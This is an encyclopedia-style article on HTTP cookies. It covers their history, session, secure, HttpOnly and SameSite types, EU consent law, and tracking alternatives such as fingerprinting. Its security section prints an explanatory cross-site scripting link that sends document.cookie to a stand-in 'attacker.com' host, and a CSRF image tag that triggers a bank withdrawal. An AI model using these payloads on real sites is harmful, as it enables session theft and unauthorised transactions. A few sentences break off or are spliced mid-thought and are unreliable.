HTTP cookie

Small pieces of data stored by a web browser while on a website

HTTP cookies (also called web cookies, Internet cookies, browser cookies, or simply cookies) are small blocks of data created by a web server while a user is browsing a website and placed on the user's computer or other device by the user's web browser. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session. Cookies serve useful and sometimes essential functions on the web. They enable web servers to store stateful information (such as items added in the shopping cart in an online store) on the user's device or to track the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past). They can also be used to save information that the user previously entered into form fields, such as names, addresses, passwords, and payment card numbers for subsequent use. Authentication cookies are commonly used by web servers to authenticate that a user is logged in, and with which account they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by an attacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross site scripting and cross site request forgery for examples). Tracking cookies, and especially third party tracking cookies, are commonly used as ways to compile long term records of individuals' browsing histories a potential privacy concern that prompted European and U. S. lawmakers to take action in 2011. European law requires that all websites targeting European Union member states gain "informed consent" from users before storing non essential cookies on their device.

The term cookie was coined by web browser programmer Lou Montulli. It was derived from the term magic cookie, which is a packet of data a program receives and sends back unchanged, used by Unix programmers.

Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994. At the time, he was an employee of Netscape Communications, which was developing an e commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart. Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Mosaic Netscape, released on October 13, 1994, supported cookies. Support for cookies was integrated with Internet Explorer in version 2, released in October 1995. The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence. The public learned about cookies after the Financial Times published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U. S. Federal Trade Commission hearings in 1996 and 1997. At this time, advertising companies were already using third party cookies. The recommendation about third party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000. RFC 2965 added a Set Cookie2 header field, which informally came to be called "RFC 2965 style cookies" as opposed to the original Set Cookie header field which was called "Netscape style cookies". Set Cookie2 was seldom used, however, and was deprecated in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world. No modern browser recognizes the Set Cookie2 header field.

A session cookie (also known as an in memory cookie, transient cookie or non persistent cookie) exists only in temporary memory while the user navigates a website. Session cookies expire or are deleted when the user closes the web browser. Session cookies are identified by the browser by the absence of an expiration date assigned to them.

A persistent cookie expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement). For this reason, persistent cookies are sometimes referred to as tracking cookies because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re entering login credentials at every visit.

A secure cookie can only be transmitted over an encrypted connection (i. e. HTTPS). They cannot be transmitted over unencrypted connections (i. e. HTTP). This makes the cookie less likely to be exposed to cookie theft via eavesdropping. A cookie is made secure by adding the Secure flag to the cookie.

An http only cookie cannot be accessed by client side APIs, such as JavaScript. This restriction eliminates the threat of cookie theft via cross site scripting (XSS). However, the cookie remains vulnerable to cross site tracing (XST) and cross site request forgery (CSRF) attacks. A cookie is given this characteristic by adding the HttpOnly flag to the cookie.

In 2016 Google Chrome version 51 introduced a new kind of cookie with attribute SameSite with possible values of Strict, Lax or None. With attribute SameSite=Strict, the browsers would only send cookies to a target domain that is the same as the origin domain. This would effectively mitigate cross site request forgery (CSRF) attacks. With SameSite=Lax, browsers would send cookies with requests to a target domain even it is different from the origin domain, but only for safe requests such as GET (POST is unsafe) and not third party cookies (inside iframe). Attribute SameSite=None would allow third party (cross site) cookies, however, most browsers require secure attribute on SameSite=None cookies. The Same site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism" to update RFC 6265 (if approved). Chrome, Firefox, and Edge started to support Same site cookies. The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended to change that default to SameSite=Lax in Chrome 80 planned to be released in February 2020, but due to potential for breakage of those applications/websites that rely on third party/cross site cookies and COVID 19 circumstances, Google postponed this change to Chrome 84.

A supercookie is a cookie with an origin of a top level domain (such as com) or a public suffix (such as co. uk). Ordinary cookies, by contrast, have an origin of a specific domain name, such as example. com. Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top level domain or public suffix as the malicious website. For example, a supercookie with an origin of com, could maliciously affect a request made to example. com, even if the cookie did not originate from example. com. This can be used to fake logins or change user information. The Public Suffix List helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross vendor initiative that aims to provide an accurate and up to date list of domain name suffixes. Older versions of browsers may not have an up to date list, and will therefore be vulnerable to supercookies from certain domains.

The term supercookie is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such supercookie mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and ETag cookies. Due to media attention, Microsoft later disabled this code. In a 2021 blog post, Mozilla used the term supercookie to refer to the use of browser cache as a means of tracking users across sites.

A zombie cookie is data and code that has been placed by a web server on a visitor's computer or other device in a hidden location outside the visitor's web browser's dedicated cookie storage location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as Flash Local shared object, HTML5 Web storage, and other client side and even server side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations.

A cookie wall pops up on a website and informs the user of the website's cookie usage. It has no reject option, and the website is not accessible without tracking cookies.

Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual shopping cart or shopping basket). The data can then be collected and sold to bidding corporations.

In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.

The Expires attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form Wdy, DD Mon YYYY HH:MM:SS GMT, or in the form Wdy, DD Mon YY HH:MM:SS GMT for values of YY where YY is greater than or equal to 0 and less than or equal to 69. Alternatively, the Max Age attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three Set Cookie header fields that were received from a website after a user logged in:
HTTP/1.0 200 OK
Set Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=. example. com; HttpOnly
Set Cookie: made write conn=1295214458; Path=/; Domain=. example. com
Set Cookie: reg fb gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=. example. com; HttpOnly

The first cookie, lu, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, made write conn, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, reg fb gate, has its value changed to deleted, with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the Set Cookie field match the values used when the cookie was created. as of 2016 Internet Explorer did not support Max Age.

The Secure and HttpOnly attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled. The Secure attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via secure/encrypted connections. However, if a web server sets a cookie with a secure attribute from a non secure connection, the cookie can still be intercepted when it is sent to the user by man in the middle attacks. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection. The HttpOnly attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client side scripting languages (notably JavaScript), and therefore cannot be stolen easily via cross site scripting (a pervasive attack technique).

Most modern browsers support cookies and allow the user to disable them. The following are common options:
To enable or disable cookies completely, so that they are always accepted or always blocked. To view and selectively delete cookies using a cookie manager. To fully wipe all private data, including cookies. Add on tools for managing cookie permissions also exist.

Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called third party cookies. A third party cookie, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as banner advertisements. This opens up the potential for tracking the user's browsing history and is used by advertisers to serve relevant advertisements to each user. As an example, suppose a user visits www. example. org. This website contains an advertisement from ad. foxytracking. com, which, when downloaded, sets a cookie belonging to the advertisement's domain (ad. foxytracking. com). Then, the user visits another website, www. foo. com, which also contains an advertisement from ad. foxytracking. com and sets a cookie belonging to that domain (ad. foxytracking. com). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the HTTP referer header field. as of 2014, some websites were setting cookies readable for over 100 third party domains. On average, a single website was setting 10 cookies, with a maximum number of cookies (first and third party) reaching over 800. The older standards for cookies, RFC 2109 Firefox, and Brave block all third party cookies by default. Safari allows embedded sites to use Storage Access API to request permission to set first party cookies. In May 2020, Google Chrome 83 introduced new features to block third party cookies by default in its Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first party cookies. As of April 2024, Chrome postponed third party cookie blocking by default to 2025.

The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third party cookies. For this reason, some countries have legislation about cookies. Website operators who do not disclose third party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of such cookie discovery. The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.

In 2002, the European Union launched the Directive on Privacy and Electronic Communications (e Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment. In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log in sessions, or remember what is in a user's shopping basket. In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage. In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground. Consent under the combination of the GDPR and e Privacy Directive has to meet a number of conditions in relation to cookies. It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995 The GDPR is specific that consent must be as 'easy to withdraw as to give', The Court of Justice of the European Union has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards. The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far reaching and incredibly onerous" for "all UK companies". Simon Davis of Privacy International argues that proper enforcement would "destroy the entire industry". However, scholars note that the onerous nature of cookie pop ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR. The UK regulator, the Information Commissioner's Office, stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the Interactive Advertising Bureau was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR [e Privacy] compliance.' A W3C specification called P3P was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification. Third party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both. In 2020, the European Data Protection Board, composed of all EU data protection regulators, stated that cookie walls were illegal. In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls). Many advertising operators have an opt out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising. However, this is often ineffective against many forms of tracking, such as first party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies. Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e Privacy Directive. of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.

Cookies can also be stolen using a technique called cross site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls. As an example, an attacker may post a message on www. example. com with the following link:

<a href="#" onclick="window. location = 'http://attacker. com/stole. cgi?text=' + escape(document. cookie); return false;">Click here!</a>

When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document. cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the attacker. com server. If the attacker's malicious posting is on an HTTPS website https://www. example. com, secure cookies will also be sent to attacker. com in plain text. It is the responsibility of the website developers to filter out such malicious code. Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.

In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same origin policy. For example, a victim is reading an attacker's posting on www. example. com, and the attacker's script is executed in the victim's browser. The script generates a request to www. example. com with the proxy server attacker. com. Since the request is for www. example. com, all example. com cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies. This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end to end encryption (i. e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.

For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e. g.,

<img src="http://bank. example. com/withdraw?account=bob&amount=1000000&for=mallory">

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

Cookiejacking is an attack against Internet Explorer which allows the attacker to steal session cookies of a user by tricking a user into dragging an object across the screen. Microsoft deemed the flaw low risk because of "the level of required user interaction", Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via social engineering.

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies. Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.

Some of the operations that can be done using cookies can also be done using other mechanisms.

A JSON Web Token (JWT) is a self contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.

The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.

The query string part of the URL is the part that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled. This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state. These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e mail, those preferences will be used for that other user as well. Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page internal to the site the first time, and then visits the same page by coming from an external search engine the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same. Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.

Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the HTTP GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie. This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).

All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the DOM property window. name. This data can be used instead of session cookies. The technique can be coupled with JSON/JavaScript objects to store complex sets of session variables on the client side. The downside is that every separate window or tab will initially have an empty window. name property when opened. In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.

Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser (or the proxy, if any is used) and could theoretically link a user's session to this IP address. However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.

Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can also enhance the preservation of ETag data. ETags can be flushed in some browsers by clearing the browser cache.

The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up to date version of the resource. For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, var userId = 3243242;). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.

A browser fingerprint is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off. Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client side scripting languages, collection of much more esoteric parameters is possible. Assimilation of such information into a single string constitutes a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting. Canvas fingerprinting, a more recent technique, claims to add another 5.7 bits.

Some web browsers support persistence mechanisms which allow the page to store the information locally for later use. The HTML5 standard (which most modern web browsers support to some extent) includes a JavaScript API called Web storage that allows two types of storage: local storage and session storage. Local storage behaves similarly to persistent cookies while session storage behaves similarly to session cookies, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies. Internet Explorer supports persistent information in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk. Some web browser plugins include persistence mechanisms as well. For example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated storage.